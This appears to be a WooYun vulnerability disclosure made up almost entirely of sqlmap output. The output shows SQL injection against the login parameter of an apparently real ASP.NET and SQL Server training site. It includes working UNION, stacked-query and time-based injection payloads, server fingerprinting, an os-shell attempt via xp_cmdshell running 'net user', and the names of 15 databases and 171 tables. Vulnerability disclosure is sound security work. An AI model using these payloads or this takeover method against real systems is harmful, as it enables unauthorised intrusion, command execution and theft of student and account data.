WooYun.org

---
Place: POST
Parameter: TextBox_LoginName
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: BtnOne=%e4%b8%8b%e4%b8%80%e6%ad%a5&hidpassword=&TextBox_LoginName=b
cJsQZgQ' UNION ALL SELECT NULL,CHAR(113)+CHAR(115)+CHAR(108)+CHAR(103)+CHAR(113)
+CHAR(102)+CHAR(114)+CHAR(85)+CHAR(108)+CHAR(80)+CHAR(111)+CHAR(104)+CHAR(66)+CH
AR(80)+CHAR(79)+CHAR(113)+CHAR(105)+CHAR(114)+CHAR(115)+CHAR(113),NULL,NULL-- &_
_EVENTARGUMENT=&__EVENTTARGET=&__LASTFOCUS=&__VIEWSTATE=/wEPDwUKMTk5MDc0NzM2MA9k
FgICAw9kFgICDw9kFgICCQ8PZBYCHgdvbmNsaWNrBQhPdXRwdXQoKWRk6RIAgnGNMy+Im+jQs2uzX8zq
EyI=&__VIEWSTATEGENERATOR=8F891C3C
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: BtnOne=%e4%b8%8b%e4%b8%80%e6%ad%a5&hidpassword=&TextBox_LoginName=b
cJsQZgQ'; WAITFOR DELAY '0:0:5'--&__EVENTARGUMENT=&__EVENTTARGET=&__LASTFOCUS=&_
_VIEWSTATE=/wEPDwUKMTk5MDc0NzM2MA9kFgICAw9kFgICDw9kFgICCQ8PZBYCHgdvbmNsaWNrBQhPd
XRwdXQoKWRk6RIAgnGNMy+Im+jQs2uzX8zqEyI=&__VIEWSTATEGENERATOR=8F891C3C
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: BtnOne=%e4%b8%8b%e4%b8%80%e6%ad%a5&hidpassword=&TextBox_LoginName=b
cJsQZgQ' WAITFOR DELAY '0:0:5'--&__EVENTARGUMENT=&__EVENTTARGET=&__LASTFOCUS=&__
VIEWSTATE=/wEPDwUKMTk5MDc0NzM2MA9kFgICAw9kFgICDw9kFgICCQ8PZBYCHgdvbmNsaWNrBQhPdX
RwdXQoKWRk6RIAgnGNMy+Im+jQs2uzX8zqEyI=&__VIEWSTATEGENERATOR=8F891C3C
---
[INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[ERROR] unable to retrieve xp_cmdshell output  //无回显的cmdshell...
os-shell> net user
--------------------
available databases [15]:
[*] Ameco_App
[*] AmecoIII
[*] AMTMSys
[*] ASPState
[*] EGBeLMS5
[*] HaiHangTM_BugTracker
[*] master
[*] model
[*] msdb
[*] NewQhope01
[*] qhopecmsegb
[*] TeacherGarden
[*] TeacherLicense
[*] tempdb
[*] UtiTech
Database: EGBeLMS5
[171 tables]
+------------------------------+
| AccountConsume               |
| BankInterfaceConfig          |
| BankPayDeliver               |
| BankPayDeliver               |
| BaseInfoLoca                 |
| BranchSiteLesson             |
| CardMonyTransfer             |
| CardSale                     |
| CardsDistribute              |
| CatalogAssistant             |
| ChildSite                    |
| ClassStudent                 |
| Commpany                     |
| ContestInfo                  |
| ContestPaper                 |
| ContestRecord                |
| CorporationEducate           |
| CorporationType              |
| CreditHour                   |
| DBBckUp                      |
| DupName                      |
| ExamPaperAnswer              |
| ExamPaperAnswer              |
| ExamPaperAnswer              |
| ExamPaperList                |
| ExamPaperNew                 |
| ExamPaperOpinion             |
| ExamPaperOpinionTeacher      |
| ExamPaperPublishList         |
| ExamPaperPublishList         |
| ExamPaperPublishNew          |
| ExamPaperRuleNew             |
| ExamPaperRuleNew             |
| ExamPaperScore               |
| ExamQuestionDetailNew        |
| ExamQuestionDetailNew        |
| ExamQuestionDetailNew        |
| ExamQuestionList             |
| ExamQuestionNew              |
| ExamQuestionPlan             |
| ExtraCode                    |
| GetInvoice                   |
| HomeWorkAnswer               |
| HomeWorkAnswer               |
| HomeWorkList                 |
| HomeWorkOffLine              |
| HomeWorkOnline               |
| HomeWorkPublish              |
| HomeWorkScore                |
| InitScore                    |
| IsChecked                    |
| JSNewConfig                  |
| JSreNote                     |
| KeystoneGroup                |
| KeystoneLesson               |
| LecCatalog                   |
| LecINCatalog                 |
| LessonClass                  |
| LessonClass                  |
| LessonConsult                |
| LessonConsultType            |
| LessonGood                   |
| LessonGroupPopedom           |
| LessonLimitTimes             |
| LessonMessages               |
| LessonPlan                   |
| LessonServiceCatalog         |
| LogInfo                      |
| MailContent                  |
| Member                       |
| MessageGroup                 |
| MessageSend                  |
| ModuleInfo                   |
| MoneyCard                    |
| Note                         |
| NumOnline                    |
| OnLineInject                 |
| OneLecPopedom                |
| OnlineApplication            |
| OnlineReSearch               |
| OrderCompany                 |
| OrderCompany                 |
| OtherTrade                   |
| PKTable                      |
| Patriarchy                   |
| PopedomGroup                 |
| PopedomModule                |
| PostBankPay                  |
| QAnswer1                     |
| QAnswer1                     |
| QAnswerManage                |
| QuestionInfo                 |
| QuestionInfo                 |
| RS_CatalogInfo               |
| RS_ResourceDownloadInfo      |
| RS_ResourceInfo              |
| RS_ResourceType              |
| RS_SizeLimit                 |
| RecycleBin                   |
| Role                         |
| SCPopedom                    |
| SYS***                       |
| Schoo***                     |
| School****                   |
| SchoolNewsAppend             |
| SchoolNewsAppend             |
| SchoolServiceInfo            |
| SetGoodStuShow               |
| ShoppingCar                  |
| SiteLabel                    |
| SiteNewsType                 |
| StudentAccount               |
| StudentAccount               |
| StudentBag                   |
| StudentC***                  |
| StudentC****                 |
| StudentFullMoney             |
| StudentImportTemp            |
| StudentIntegral              |
| StudentPopedom               |
| StudentPosition              |
| StudentSelectedLesson        |
| StudyC***                    |
| StudyExpense                 |
| StudyProc                    |
| StudyRecord                  |
| SysBackupPath                |
| SysNewsDisConfig             |
| TBL_TypicalFAQ               |
| Tbl_BoardDataConfig          |
| Tbl_DataShowConfig_List      |
| Tbl_ExamExt                  |
| Tbl_ListDataWithImageConfig  |
| Tbl_SiteADs                  |
| Tbl_SiteLogo                 |
| Tbl_SsoUsers                 |
| Tbl_SysConfig                |
| Tbl_TestQuestionStore        |
| TeachCatalog                 |
| TeacherFunctionInfo          |
| TeacherFunctionInfo          |
| TeacherPayList               |
| TeacherPayStandard           |
| TeacherWageMake              |
| TutorshipTeacher             |
| V_ByChapter                  |
| V_ExamPaperCheckList         |
| V_ExamPaperCurrentScore      |
| V_ExamPaperStatistics        |
| V_ExamPublish                |
| V_ExamQuestionA              |
| V_ExamQuestionF              |
| V_ExamShow                   |
| V_ExamStatistics             |
| V_HomeWorkCheckList          |
| V_SubTeachCatalog            |
| dtproperties                 |
| hits                         |
| studentCatalog1              |
| studentCatalogDetail         |
| tbl_Exam_KnowLeadgeInfo      |
| tbl_RandomExamQuestionDetail |
| tbl_RandomExamQuestionDetail |
| tbl_ResourceCatalog          |
| tbl_ResourceDownloadInfo     |
| tbl_ResourceInfo             |
| tbl_ResourceSpaceLimit       |
| tbl_ResourceType             |
| tbl_Temp_ReferCmsToChildSite |
| tbl_studentExamPaper         |
| x                            |
+------------------------------+